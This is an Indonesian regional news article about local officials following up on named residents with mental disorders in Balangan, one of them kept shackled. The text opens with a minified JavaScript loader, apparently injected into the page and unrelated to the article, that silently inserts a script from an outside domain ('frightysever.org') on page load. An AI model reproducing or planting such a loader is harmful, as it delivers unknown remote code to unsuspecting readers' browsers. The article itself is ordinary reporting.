(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

ODGJ di Halong dan Lampihong Dipantau Hj Sri Huriyati

KANALKALIMANTAN.COM, PARINGIN – Ketua TP PKK Hj Sri Huriyati memantau perkembangan pasien ODGJ (Orang Dengan Gangguan Jiwa) di Kecamatan Halong dan Kecamatan Lampihong.

Hj Sri Huriyati mengatakan, pihaknya melakukan kerjasama dengan Dinas Kesehatan, Dinas Sosial, Badan Perlindungan Perempuan dan Anak, serta aparat desa untuk tindak lanjut ODGJ tersebut.

“Untuk Maria Ulfah tindaklanjutnya akan segera dibawa ke psikiater di Tabalong, dan akan mendengar terlebih dahulu arahan dari psikiater, karena tingkat depresinya tidak terlalu berat, jika diharuskan untuk dirujuk ke Panti Sosial Budi Luhur Banjarbaru, maka akan kami lakukan,” ucap Hj Sri Huriyati, Selasa (1/6/2021).

Sementara itu, untuk kasus Romansyah, ODGJ yang ada di Kecamatan Lampihong kemungkinan akan bekerja sama dengan dinas terkait, diarahkan untuk dirujuk ke RSJ Sambang Lihum milik Pemprov Kalsel.

“Karena dia dalam pasungan, dan jika dilepas akan membahayakan orang di sekitarnya, jadi akan diarahkan ke Rumah Sakit Jiwa Sambang Lihum,” katanya.

Selain itu pihaknya akan terus melakukan pendataan untuk pasien ODGJ di Kabupaten Balangan, agar benar-benar segera disikapi.

“Mudah-mudahan bisa membantu keluarga mereka, karena kalau harus berada dalam pasungan akan menyalahi aturan, tetapi karena keadaan yang memaksa mau tidak mau harus dilakukan, kedepannya akan terus dipikirkan bagaimana ODGJ ini bisa sembuh, keluarganya bisa terlepas dari permasalahan,” pungkasnya. (kanalkalimantan.com/alfi).

Reporter: alfi
Editor: kk